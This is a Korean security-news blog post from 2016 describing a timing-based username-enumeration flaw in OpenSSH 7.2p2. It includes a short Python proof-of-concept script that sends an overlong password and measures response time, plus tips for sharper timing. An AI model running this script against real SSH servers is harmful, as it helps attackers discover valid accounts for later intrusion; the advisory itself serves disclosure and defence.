상세 컨텐츠

본문 제목

Opensshd 통해 사용자 계정을 유추할 수 있는 취약점 발견!

국내외 보안동향

by 알약(Alyac) 2016. 7. 18. 16:51

본문

Opensshd 통해 사용자 계정을 유추할 수 있는 취약점 발견!


Opensshd에서 사용자 계정을 유추할 수 있는 취약점이 발견되었습니다. 이 취약점을 이용하면 공격자가 원격에서 SSHD를 사용하는 시스템 사용자의 계정을 유추해 낼 수 있습니다.


이 취약점은 SHA256/SHA512 알고리즘의 계산이 BLOWFISH 알고리즘 보다 더 오래 걸리는 점을 이용한 것으로, Opensshd의 기본 설정이 BLOWFISH($2) 알고리즘으로 설정되어 있는 것을 악용한 것입니다.


SSHD 소스코드에는 패스워드 구조가 하드코딩 되어있는데, 이 구조는 BLOWFISH($2) 알고리즘에 기반하고 있습니다. 만약 실제 사용자의 비밀번호를 SHA256/SHA512 알고리즘으로 암호화 한 후 긴 패스워드(10KB)를 전송하면, 서버의 응답시간이 실제 존재하지 않는 사용자에 비해 길어지게 됩니다.



영향받는 버전


opensshd-7.2p2

* 이전 버전에서도 동일한 문제 발생할 것으로 예상



POC 코드



import paramiko

import time

user=raw_input("user: ")

p='A'*25000

ssh = paramiko.SSHClient()

starttime=time.clock()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:

        ssh.connect('127.0.0.1', username=user,

        password=p)

except:

        endtime=time.clock()

total=endtime-starttime

print(total)


* SSHD 설정이 루트 로그인을 금지할 경우, root는 유효한 사용자로 간주되지 않습니다.


* TCP 타임스탬프 옵션이 활성화되어있을 경우, 시간을 측정하기 위한 가장 좋은 방법은 서버의 TCP 패킷의 타임스탬프를 사용하는 것입니다. 이로써 모든 네트워크 딜레이들을 제거할 수 있습니다.




출처 :

http://seclists.org/fulldisclosure/2016/Jul/51



관련글 더보기

댓글 영역